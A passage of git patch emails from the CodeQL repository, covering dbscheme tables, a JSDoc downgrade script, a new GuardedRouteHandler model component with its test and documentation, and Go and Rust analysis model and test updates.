@jsdoc_function_type_expr +| 13 = @jsdoc_optional_type_expr +| 14 = @jsdoc_rest_type_expr +; + +#keyset[id, idx] +jsdoc_record_field_name (int id: @jsdoc_record_type_expr ref, int idx: int ref, varchar(900) name: string ref); +jsdoc_prefix_qualifier (int id: @jsdoc_type_expr ref); +jsdoc_has_new_parameter (int fn: @jsdoc_function_type_expr ref); + +@jsdoc_type_expr_parent = @jsdoc_type_expr | @jsdoc_tag; + +jsdoc_errors (unique int id: @jsdoc_error, int tag: @jsdoc_tag ref, varchar(900) message: string ref, varchar(900) tostring: string ref); + +@dataflownode = @expr | @function_decl_stmt | @class_decl_stmt | @namespace_declaration | @enum_declaration | @property; + +@optionalchainable = @call_expr | @propaccess; + +isOptionalChaining(int id: @optionalchainable ref); + +/** + * The time taken for the extraction of a file. + * This table contains non-deterministic content. + * + * The sum of the `time` column for each (`file`, `timerKind`) pair + * is the total time taken for extraction of `file`. The `extractionPhase` + * column provides a granular view of the extraction time of the file. + */ +extraction_time( + int file : @file ref, + // see `com.semmle.js.extractor.ExtractionMetrics.ExtractionPhase`. + int extractionPhase: int ref, + // 0 for the elapsed CPU time in nanoseconds, 1 for the elapsed wallclock time in nanoseconds + int timerKind: int ref, + float time: float ref +) + +/** +* Non-timing related data for the extraction of a single file. +* This table contains non-deterministic content. +*/ +extraction_data( + int file : @file ref, + // the absolute path to the cache file + varchar(900) cacheFile: string ref, + boolean fromCache: boolean ref, + int length: int ref +) + +/*- YAML -*/ + +#keyset[parent, idx] +yaml (unique int id: @yaml_node, + int kind: int ref, + int parent: @yaml_node_parent ref, + int idx: int ref, + string tag: string ref, + string tostring: string ref); + +case @yaml_node.kind of + 0 = @yaml_scalar_node +| 1 = @yaml_mapping_node +| 2 = @yaml_sequence_node +| 3 = @yaml_alias_node +; + +@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node; + +@yaml_node_parent = @yaml_collection_node | @file; + +yaml_anchors (unique int node: @yaml_node ref, + string anchor: string ref); + +yaml_aliases (unique int alias: @yaml_alias_node ref, + string target: string ref); + +yaml_scalars (unique int scalar: @yaml_scalar_node ref, + int style: int ref, + string value: string ref); + +yaml_errors (unique int id: @yaml_error, + string message: string ref); + +yaml_locations(unique int locatable: @yaml_locatable ref, + int location: @location_default ref); + +@yaml_locatable = @yaml_node | @yaml_error; + +/*- XML Files -*/ + +xmlEncoding( + unique int id: @file ref, + string encoding: string ref +); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/*- Configuration files with key value pairs -*/ + +configs( + unique int id: @config +); + +configNames( + unique int id: @configName, + int config: @config ref, + string name: string ref +); + +configValues( + unique int id: @configValue, + int config: @config ref, + string value: string ref +); + +configLocations( + int locatable: @configLocatable ref, + int location: @location_default ref +); + +@configLocatable = @config | @configName | @configValue; diff --git a/javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/upgrade.properties b/javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/upgrade.properties new file mode 100644 index 00000000000..9812f386f8c --- /dev/null +++ b/javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/upgrade.properties @@ -0,0 +1,2 @@ +description: split up qualified names in jsdoc type exprs +compatibility: backwards From cccea919b465048d9b7f6040ce24a67353bb8a21 Mon Sep 17 00:00:00 2001 From: Asger F Date: Mon, 24 Mar 2025 15:11:11 +0100 Subject: [PATCH 106/121] JS: Update stats file --- javascript/ql/lib/semmlecode.javascript.dbscheme.stats | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/javascript/ql/lib/semmlecode.javascript.dbscheme.stats b/javascript/ql/lib/semmlecode.javascript.dbscheme.stats index 0b8848ff1d6..51889bd9286 100644 --- a/javascript/ql/lib/semmlecode.javascript.dbscheme.stats +++ b/javascript/ql/lib/semmlecode.javascript.dbscheme.stats @@ -1334,10 +1334,14 @@ 8 -@jsdoc_named_type_expr +@jsdoc_identifier_type_expr 18639 +@jsdoc_qualified_type_expr +1000 + + @jsdoc_applied_type_expr 303 From 86ae8012beaa51b8016109215be8832bbd863bc7 Mon Sep 17 00:00:00 2001 From: Asger F Date: Thu, 27 Mar 2025 11:31:36 +0100 Subject: [PATCH 107/121] Expand downgrade script --- .../jsdoc_type_exprs.ql | 37 +++++++++++++++++++ .../upgrade.properties | 2 + 2 files changed, 39 insertions(+) create mode 100644 javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/jsdoc_type_exprs.ql diff --git a/javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/jsdoc_type_exprs.ql b/javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/jsdoc_type_exprs.ql new file mode 100644 index 00000000000..4f12eb443f9 --- /dev/null +++ b/javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/jsdoc_type_exprs.ql @@ -0,0 +1,37 @@ +// Removes all nodes nested inside a qualified type access, +// and changes qualified type access nodes to "named type" nodes. +// +/* + * jsdoc_type_exprs (unique int id: @jsdoc_type_expr, + * int kind: int ref, + * int parent: @jsdoc_type_expr_parent ref, + * int idx: int ref, + * varchar(900) tostring: string ref); + */ + +class JSDocTypeExprParent extends @jsdoc_type_expr_parent { + string toString() { none() } +} + +class JSDocTypeExpr extends @jsdoc_type_expr { + string toString() { none() } + + JSDocTypeExpr getChild(int n) { jsdoc_type_exprs(result, _, this, n, _) } + + int getNewKind() { jsdoc_type_exprs(this, result, _, _, _) } + + predicate shouldRemove() { this = any(JSDocQualifiedTypeAccess a).getChild(_) } +} + +class JSDocQualifiedTypeAccess extends @jsdoc_qualified_type_expr, JSDocTypeExpr { + override int getNewKind() { + result = 5 + /* 5 = @jsdoc_named_type_expr */ + } +} + +from JSDocTypeExpr node, JSDocTypeExprParent parent, int idx, string tostring +where + jsdoc_type_exprs(node, _, parent, idx, tostring) and + not node.shouldRemove() +select node, node.getNewKind(), parent, idx, tostring diff --git a/javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/upgrade.properties b/javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/upgrade.properties index 9812f386f8c..d67984c6ef9 100644 --- a/javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/upgrade.properties +++ b/javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/upgrade.properties @@ -1,2 +1,4 @@ description: split up qualified names in jsdoc type exprs compatibility: backwards + +jsdoc_type_exprs.rel: run jsdoc_type_exprs.ql From 441ca1c862f884e7ac9f412ce1c9e47e50e00e84 Mon Sep 17 00:00:00 2001 From: Asger F Date: Thu, 27 Mar 2025 11:54:01 +0100 Subject: [PATCH 108/121] JS: Change compatibility of upgrade script to partial --- .../5b5db607d20c7b449cef2d1c926b24d77c69bebb/upgrade.properties | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/lib/upgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/upgrade.properties b/javascript/ql/lib/upgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/upgrade.properties index 9812f386f8c..c26b1e1de09 100644 --- a/javascript/ql/lib/upgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/upgrade.properties +++ b/javascript/ql/lib/upgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/upgrade.properties @@ -1,2 +1,2 @@ description: split up qualified names in jsdoc type exprs -compatibility: backwards +compatibility: partial From 533fdcf332b8b2456d0a65f77bcd7a3c3aa6e1ec Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Thu, 27 Mar 2025 12:56:54 +0100 Subject: [PATCH 109/121] Rust: Remove unnecessary seperator --- rust/ql/lib/codeql/rust/elements/internal/TypeAliasImpl.qll | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/rust/ql/lib/codeql/rust/elements/internal/TypeAliasImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TypeAliasImpl.qll index a9a3c190c01..916e005f5ae 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TypeAliasImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TypeAliasImpl.qll @@ -24,9 +24,7 @@ module Impl { * ``` */ class TypeAlias extends Generated::TypeAlias { - override string toStringImpl() { - result = concat(int i | | this.toStringPart(i), "" order by i) - } + override string toStringImpl() { result = concat(int i | | this.toStringPart(i) order by i) } private string toStringPart(int index) { index = 0 and result = "type " From 13d2453a457fed04064b796ab0e6face3bbdb750 Mon Sep 17 00:00:00 2001 From: Asger F Date: Thu, 27 Mar 2025 13:59:41 +0100 Subject: [PATCH 110/121] JS: Add GuardedRouteHandler access path component --- .../data/internal/ApiGraphModelsSpecific.qll | 18 ++++++++++++++-- .../frameworks/data/guardedRouteHandler.js | 21 +++++++++++++++++++ .../frameworks/data/test.expected | 4 ++++ .../frameworks/data/test.ext.yml | 2 ++ 4 files changed, 43 insertions(+), 2 deletions(-) create mode 100644 javascript/ql/test/library-tests/frameworks/data/guardedRouteHandler.js diff --git a/javascript/ql/lib/semmle/javascript/frameworks/data/internal/ApiGraphModelsSpecific.qll b/javascript/ql/lib/semmle/javascript/frameworks/data/internal/ApiGraphModelsSpecific.qll index 29cd5da8da1..1f51af3efda 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/data/internal/ApiGraphModelsSpecific.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/data/internal/ApiGraphModelsSpecific.qll @@ -184,6 +184,20 @@ API::Node getExtraSuccessorFromNode(API::Node node, AccessPathTokenBase token) { or token.getName() = "DecoratedParameter" and result = node.getADecoratedParameter() + or + token.getName() = "GuardedRouteHandler" and + result = getAGuardedRouteHandlerApprox(node) +} + +bindingset[node] +pragma[inline_late] +private API::Node getAGuardedRouteHandlerApprox(API::Node node) { + // For now just get any routing node with the same root (i.e. the same web app), as + // there are some known performance issues when checking if it is actually guarded by the given node. + exists(JS::Routing::Node root | + root = JS::Routing::getNode(node.getAValueReachableFromSource()).getRootNode() and + root = JS::Routing::getNode(result.asSink()).getRootNode() + ) } /** @@ -317,7 +331,7 @@ predicate isExtraValidTokenNameInIdentifyingAccessPath(string name) { [ "Member", "AnyMember", "Instance", "Awaited", "ArrayElement", "Element", "MapValue", "NewCall", "Call", "DecoratedClass", "DecoratedMember", "DecoratedParameter", - "WithStringArgument" + "WithStringArgument", "GuardedRouteHandler" ] } @@ -329,7 +343,7 @@ predicate isExtraValidNoArgumentTokenInIdentifyingAccessPath(string name) { name = [ "AnyMember", "Instance", "Awaited", "ArrayElement", "Element", "MapValue", "NewCall", "Call", - "DecoratedClass", "DecoratedMember", "DecoratedParameter" + "DecoratedClass", "DecoratedMember", "DecoratedParameter", "GuardedRouteHandler" ] } diff --git a/javascript/ql/test/library-tests/frameworks/data/guardedRouteHandler.js b/javascript/ql/test/library-tests/frameworks/data/guardedRouteHandler.js new file mode 100644 index 00000000000..972b8b9f111 --- /dev/null +++ b/javascript/ql/test/library-tests/frameworks/data/guardedRouteHandler.js @@ -0,0 +1,21 @@ +const express = require('express'); +const app = express(); +const testlib = require('testlib'); + +app.get('/before', (req, res) => { + sink(req.injectedReqData); // OK [INCONSISTENCY] - happens before middleware + sink(req.injectedResData); // OK - wrong parameter + + sink(res.injectedReqData); // OK - wrong parameter + sink(res.injectedResData); // OK [INCONSISTENCY] - happens before middleware +}); + +app.use(testlib.middleware()); + +app.get('/after', (req, res) => { + sink(req.injectedReqData); // NOT OK + sink(req.injectedResData); // OK - wrong parameter + + sink(res.injectedReqData); // OK - wrong parameter + sink(res.injectedResData); // NOT OK +}); diff --git a/javascript/ql/test/library-tests/frameworks/data/test.expected b/javascript/ql/test/library-tests/frameworks/data/test.expected index 6586eaeff15..0bc1b6b6ee0 100644 --- a/javascript/ql/test/library-tests/frameworks/data/test.expected +++ b/javascript/ql/test/library-tests/frameworks/data/test.expected @@ -1,6 +1,10 @@ legacyDataFlowDifference consistencyIssue taintFlow +| guardedRouteHandler.js:6:10:6:28 | req.injectedReqData | guardedRouteHandler.js:6:10:6:28 | req.injectedReqData | +| guardedRouteHandler.js:10:10:10:28 | res.injectedResData | guardedRouteHandler.js:10:10:10:28 | res.injectedResData | +| guardedRouteHandler.js:16:10:16:28 | req.injectedReqData | guardedRouteHandler.js:16:10:16:28 | req.injectedReqData | +| guardedRouteHandler.js:20:10:20:28 | res.injectedResData | guardedRouteHandler.js:20:10:20:28 | res.injectedResData | | paramDecorator.ts:6:54:6:54 | x | paramDecorator.ts:7:10:7:10 | x | | test.js:5:30:5:37 | source() | test.js:5:8:5:38 | testlib ... urce()) | | test.js:6:22:6:29 | source() | test.js:6:8:6:30 | preserv ... urce()) | diff --git a/javascript/ql/test/library-tests/frameworks/data/test.ext.yml b/javascript/ql/test/library-tests/frameworks/data/test.ext.yml index b8e12739746..1ac621936a4 100644 --- a/javascript/ql/test/library-tests/frameworks/data/test.ext.yml +++ b/javascript/ql/test/library-tests/frameworks/data/test.ext.yml @@ -13,6 +13,8 @@ extensions: - ['testlib', 'Member[getSourceArray].ReturnValue.ArrayElement', 'test-source'] - ['(testlib)', 'Member[parenthesizedPackageName].ReturnValue', 'test-source'] - ['danger-constant', 'Member[danger]', 'test-source'] + - ['testlib', 'Member[middleware].ReturnValue.GuardedRouteHandler.Parameter[0].Member[injectedReqData]', 'test-source'] + - ['testlib', 'Member[middleware].ReturnValue.GuardedRouteHandler.Parameter[1].Member[injectedResData]', 'test-source'] - addsTo: pack: codeql/javascript-all From 7de6a1e1c59341314589dc5fe1f564d236d9a192 Mon Sep 17 00:00:00 2001 From: Asger F Date: Thu, 27 Mar 2025 14:21:06 +0100 Subject: [PATCH 111/121] JS: Add documentation and example --- ...tomizing-library-models-for-javascript.rst | 47 +++++++++++++++++++ 1 file changed, 47 insertions(+) diff --git a/docs/codeql/codeql-language-guides/customizing-library-models-for-javascript.rst b/docs/codeql/codeql-language-guides/customizing-library-models-for-javascript.rst index b4a3446e942..0693081abfd 100644 --- a/docs/codeql/codeql-language-guides/customizing-library-models-for-javascript.rst +++ b/docs/codeql/codeql-language-guides/customizing-library-models-for-javascript.rst @@ -349,6 +349,48 @@ Note that this flow is already recognized by the CodeQL JS analysis, but for thi - The last column, **value**, indicates the kind of flow to add. The value **value** means the input value is unchanged as it flows to the output. + +Example: Modeling properties injected by a middleware function +-------------------------------------------------------------- + +In this example, we'll show how to model a hypothetical middleware function that adds a tainted value +on the incoming request objects: + +.. code-block:: js + + const express = require('express') + const app = express() + + app.use(require('@example/middleware').injectData()) + + app.get('/foo', (req, res) => { + req.data; // <-- mark 'req.data' as a taint source + }); + +This can be achieved with the following data extension: + +.. code-block:: yaml + + extensions: + - addsTo: + pack: codeql/javascript-all + extensible: sourceModel + data: + - [ + "@example/middleware", + "Member[injectData].ReturnValue.GuardedRouteHandler.Parameter[0].Member[data]", + "remote", + ] + +- Since we're adding a new taint source, we add a tuple to the **sourceModel** extensible predicate. +- The first column, **"@example/middleware"**, begins the search at imports of the hypothetical NPM package **@example/middleware**. +- **Member[injectData]** selects accesses to the **injectData** member. +- **ReturnValue** selects the return value of the call to **injectData**. +- **GuardedRouteHandler** interprets the current value as a middleware function and selects all route handlers guarded by that middleware. Since the current value is passd to **app.use()**, the callback subsequently passed to **app.get()** is seen as a guarded route handler. +- **Parameter[0]** selects the first parameter of the callback (the parameter named **req**). +- **Member[data]** selects accesses to the **data** property of the **req** object. +- Finally, the kind **remote** indicates that this is considered a source of remote flow. + Reference material ------------------ @@ -494,6 +536,11 @@ Components related to decorators: - **DecoratedParameter** selects a parameter that is decorated by the current value. - **DecoratedMember** selects a method, field, or accessor that is decorated by the current value. +Additionally there is a component related to middleware functions: + +- **GuardedRouteHandler** interprets the current value as a middleware function, and selects any route handler function that comes after it in the routing hierarchy. + This can be used to model properties injected onto request and response objects, such as **req.db** after a middleware that injects a database connection. + Additional notes about the syntax of operands: - Multiple operands may be given to a single component, as a shorthand for the union of the operands. For example, **Member[foo,bar]** matches the union of **Member[foo]** and **Member[bar]**. From e52bea630ac9987fa72e90d2d8174a7955f2c2d6 Mon Sep 17 00:00:00 2001 From: Asger F Date: Thu, 27 Mar 2025 14:27:00 +0100 Subject: [PATCH 112/121] JS: Add caveat about precision issue --- .../customizing-library-models-for-javascript.rst | 1 + 1 file changed, 1 insertion(+) diff --git a/docs/codeql/codeql-language-guides/customizing-library-models-for-javascript.rst b/docs/codeql/codeql-language-guides/customizing-library-models-for-javascript.rst index 0693081abfd..fa2c1d4e8a8 100644 --- a/docs/codeql/codeql-language-guides/customizing-library-models-for-javascript.rst +++ b/docs/codeql/codeql-language-guides/customizing-library-models-for-javascript.rst @@ -540,6 +540,7 @@ Additionally there is a component related to middleware functions: - **GuardedRouteHandler** interprets the current value as a middleware function, and selects any route handler function that comes after it in the routing hierarchy. This can be used to model properties injected onto request and response objects, such as **req.db** after a middleware that injects a database connection. + Note that this currently over-approximates the set of route handlers but may be made more accurate in the future. Additional notes about the syntax of operands: From 8bc70be3c78a2282ee992f113a89863b7205c649 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 27 Mar 2025 13:48:24 +0000 Subject: [PATCH 113/121] Address review comments --- go/ql/lib/ext/github.com.masterminds.squirrel.model.yml | 2 ++ go/ql/lib/semmle/go/frameworks/Squirrel.qll | 4 ++-- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/go/ql/lib/ext/github.com.masterminds.squirrel.model.yml b/go/ql/lib/ext/github.com.masterminds.squirrel.model.yml index 274641b46d8..3544f0ac3cf 100644 --- a/go/ql/lib/ext/github.com.masterminds.squirrel.model.yml +++ b/go/ql/lib/ext/github.com.masterminds.squirrel.model.yml @@ -80,3 +80,5 @@ extensions: - ["group:squirrel", "UpdateBuilder", True, "Suffix", "", "", "Argument[0]", "sql-injection", "manual"] - ["group:squirrel", "UpdateBuilder", True, "Table", "", "", "Argument[0]", "sql-injection", "manual"] # UpdateBuilder.Where has to be modeled in QL to avoid FPs when a non-string argument is used + + # There are summary models for Row.Scan, RowScanner.Scan, {Insert,Delete,Select,Update}Builder.Scan and {Insert,Delete,Select,Update}Builder.ScanContext modeled in QL diff --git a/go/ql/lib/semmle/go/frameworks/Squirrel.qll b/go/ql/lib/semmle/go/frameworks/Squirrel.qll index 3feec3c8154..c7d75003cfe 100644 --- a/go/ql/lib/semmle/go/frameworks/Squirrel.qll +++ b/go/ql/lib/semmle/go/frameworks/Squirrel.qll @@ -54,7 +54,7 @@ module Squirrel { FunctionOutput outp; BuilderScan() { - // signature: func (b InsertBuilder) Scan(dest ...interface{}) error + // signature: func (b {Insert,Delete,Select,Update}Builder) Scan(dest ...interface{}) error this.hasQualifiedName(packagePath(), ["DeleteBuilder", "InsertBuilder", "SelectBuilder", "UpdateBuilder"], "Scan") and inp.isReceiver() and @@ -71,7 +71,7 @@ module Squirrel { FunctionOutput outp; BuilderScanContext() { - // signature: func (b InsertBuilder) ScanContext(ctx context.Context, dest ...interface{}) error + // signature: func (b {Insert,Delete,Select,Update}Builder) ScanContext(ctx context.Context, dest ...interface{}) error this.hasQualifiedName(packagePath(), ["DeleteBuilder", "InsertBuilder", "SelectBuilder", "UpdateBuilder"], "ScanContext") and inp.isReceiver() and From 6dff6826f0ee7a8883fd3ad65a6feab6c3d90468 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Thu, 27 Mar 2025 18:03:48 +0000 Subject: [PATCH 114/121] Revert "Rust: accept test changes for now" This reverts commit bf32acc198c766582382882adb64ca04379bd74d. --- .../CWE-312/CleartextLogging.expected | 281 ++++++++++++++---- 1 file changed, 215 insertions(+), 66 deletions(-) diff --git a/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected b/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected index 7f740132b0a..3f417d62ebc 100644 --- a/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected +++ b/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected @@ -1,8 +1,33 @@ #select +| test_logging.rs:42:5:42:36 | ...::log | test_logging.rs:42:28:42:35 | password | test_logging.rs:42:5:42:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:42:28:42:35 | password | password | +| test_logging.rs:43:5:43:36 | ...::log | test_logging.rs:43:28:43:35 | password | test_logging.rs:43:5:43:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:43:28:43:35 | password | password | +| test_logging.rs:44:5:44:35 | ...::log | test_logging.rs:44:27:44:34 | password | test_logging.rs:44:5:44:35 | ...::log | This operation writes $@ to a log file. | test_logging.rs:44:27:44:34 | password | password | +| test_logging.rs:45:5:45:36 | ...::log | test_logging.rs:45:28:45:35 | password | test_logging.rs:45:5:45:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:45:28:45:35 | password | password | +| test_logging.rs:46:5:46:35 | ...::log | test_logging.rs:46:27:46:34 | password | test_logging.rs:46:5:46:35 | ...::log | This operation writes $@ to a log file. | test_logging.rs:46:27:46:34 | password | password | +| test_logging.rs:47:5:47:48 | ...::log | test_logging.rs:47:40:47:47 | password | test_logging.rs:47:5:47:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:47:40:47:47 | password | password | +| test_logging.rs:52:5:52:36 | ...::log | test_logging.rs:52:28:52:35 | password | test_logging.rs:52:5:52:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:52:28:52:35 | password | password | +| test_logging.rs:54:5:54:49 | ...::log | test_logging.rs:54:41:54:48 | password | test_logging.rs:54:5:54:49 | ...::log | This operation writes $@ to a log file. | test_logging.rs:54:41:54:48 | password | password | +| test_logging.rs:56:5:56:47 | ...::log | test_logging.rs:56:39:56:46 | password | test_logging.rs:56:5:56:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:56:39:56:46 | password | password | +| test_logging.rs:57:5:57:34 | ...::log | test_logging.rs:57:24:57:31 | password | test_logging.rs:57:5:57:34 | ...::log | This operation writes $@ to a log file. | test_logging.rs:57:24:57:31 | password | password | +| test_logging.rs:58:5:58:36 | ...::log | test_logging.rs:58:24:58:31 | password | test_logging.rs:58:5:58:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:58:24:58:31 | password | password | +| test_logging.rs:60:5:60:54 | ...::log | test_logging.rs:60:46:60:53 | password | test_logging.rs:60:5:60:54 | ...::log | This operation writes $@ to a log file. | test_logging.rs:60:46:60:53 | password | password | | test_logging.rs:61:5:61:55 | ...::log | test_logging.rs:61:21:61:28 | password | test_logging.rs:61:5:61:55 | ...::log | This operation writes $@ to a log file. | test_logging.rs:61:21:61:28 | password | password | +| test_logging.rs:65:5:65:48 | ...::log | test_logging.rs:65:40:65:47 | password | test_logging.rs:65:5:65:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:65:40:65:47 | password | password | +| test_logging.rs:67:5:67:66 | ...::log | test_logging.rs:67:58:67:65 | password | test_logging.rs:67:5:67:66 | ...::log | This operation writes $@ to a log file. | test_logging.rs:67:58:67:65 | password | password | | test_logging.rs:68:5:68:67 | ...::log | test_logging.rs:68:19:68:26 | password | test_logging.rs:68:5:68:67 | ...::log | This operation writes $@ to a log file. | test_logging.rs:68:19:68:26 | password | password | -| test_logging.rs:75:5:75:51 | ...::log | test_logging.rs:75:21:75:28 | password | test_logging.rs:75:5:75:51 | ...::log | This operation writes $@ to a log file. | test_logging.rs:75:21:75:28 | password | password | -| test_logging.rs:85:5:85:48 | ...::log | test_logging.rs:85:21:85:28 | password | test_logging.rs:85:5:85:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:85:21:85:28 | password | password | +| test_logging.rs:72:5:72:47 | ...::log::<...> | test_logging.rs:72:39:72:46 | password | test_logging.rs:72:5:72:47 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:72:39:72:46 | password | password | +| test_logging.rs:74:5:74:65 | ...::log::<...> | test_logging.rs:74:57:74:64 | password | test_logging.rs:74:5:74:65 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:74:57:74:64 | password | password | +| test_logging.rs:75:5:75:51 | ...::log::<...> | test_logging.rs:75:21:75:28 | password | test_logging.rs:75:5:75:51 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:75:21:75:28 | password | password | +| test_logging.rs:76:5:76:47 | ...::log::<...> | test_logging.rs:76:39:76:46 | password | test_logging.rs:76:5:76:47 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:76:39:76:46 | password | password | +| test_logging.rs:82:5:82:44 | ...::log::<...> | test_logging.rs:82:36:82:43 | password | test_logging.rs:82:5:82:44 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:82:36:82:43 | password | password | +| test_logging.rs:84:5:84:62 | ...::log::<...> | test_logging.rs:84:54:84:61 | password | test_logging.rs:84:5:84:62 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:84:54:84:61 | password | password | +| test_logging.rs:85:5:85:48 | ...::log::<...> | test_logging.rs:85:21:85:28 | password | test_logging.rs:85:5:85:48 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:85:21:85:28 | password | password | +| test_logging.rs:86:5:86:44 | ...::log::<...> | test_logging.rs:86:36:86:43 | password | test_logging.rs:86:5:86:44 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:86:36:86:43 | password | password | +| test_logging.rs:94:5:94:29 | ...::log | test_logging.rs:93:15:93:22 | password | test_logging.rs:94:5:94:29 | ...::log | This operation writes $@ to a log file. | test_logging.rs:93:15:93:22 | password | password | +| test_logging.rs:97:5:97:19 | ...::log | test_logging.rs:96:42:96:49 | password | test_logging.rs:97:5:97:19 | ...::log | This operation writes $@ to a log file. | test_logging.rs:96:42:96:49 | password | password | +| test_logging.rs:100:5:100:19 | ...::log | test_logging.rs:99:38:99:45 | password | test_logging.rs:100:5:100:19 | ...::log | This operation writes $@ to a log file. | test_logging.rs:99:38:99:45 | password | password | +| test_logging.rs:118:5:118:42 | ...::log | test_logging.rs:118:28:118:41 | get_password(...) | test_logging.rs:118:5:118:42 | ...::log | This operation writes $@ to a log file. | test_logging.rs:118:28:118:41 | get_password(...) | get_password(...) | +| test_logging.rs:131:5:131:32 | ...::log | test_logging.rs:129:25:129:32 | password | test_logging.rs:131:5:131:32 | ...::log | This operation writes $@ to a log file. | test_logging.rs:129:25:129:32 | password | password | | test_logging.rs:152:5:152:38 | ...::_print | test_logging.rs:152:30:152:37 | password | test_logging.rs:152:5:152:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:152:30:152:37 | password | password | | test_logging.rs:153:5:153:38 | ...::_print | test_logging.rs:153:30:153:37 | password | test_logging.rs:153:5:153:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:153:30:153:37 | password | password | | test_logging.rs:154:5:154:39 | ...::_eprint | test_logging.rs:154:31:154:38 | password | test_logging.rs:154:5:154:39 | ...::_eprint | This operation writes $@ to a log file. | test_logging.rs:154:31:154:38 | password | password | @@ -23,42 +48,106 @@ | test_logging.rs:178:9:178:13 | write | test_logging.rs:178:41:178:48 | password | test_logging.rs:178:9:178:13 | write | This operation writes $@ to a log file. | test_logging.rs:178:41:178:48 | password | password | | test_logging.rs:181:9:181:13 | write | test_logging.rs:181:41:181:48 | password | test_logging.rs:181:9:181:13 | write | This operation writes $@ to a log file. | test_logging.rs:181:41:181:48 | password | password | edges -| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:61:5:61:55 | ...::log | provenance | MaD:9 Sink:MaD:9 Sink:MaD:9 | -| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:61:5:61:55 | ...::log | provenance | MaD:9 Sink:MaD:9 Sink:MaD:9 Sink:MaD:9 | -| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0] | test_logging.rs:61:5:61:55 | ...::log | provenance | MaD:9 Sink:MaD:9 Sink:MaD:9 | +| test_logging.rs:42:12:42:35 | MacroExpr | test_logging.rs:42:5:42:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:42:28:42:35 | password | test_logging.rs:42:12:42:35 | MacroExpr | provenance | | +| test_logging.rs:43:12:43:35 | MacroExpr | test_logging.rs:43:5:43:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:43:28:43:35 | password | test_logging.rs:43:12:43:35 | MacroExpr | provenance | | +| test_logging.rs:44:11:44:34 | MacroExpr | test_logging.rs:44:5:44:35 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:44:27:44:34 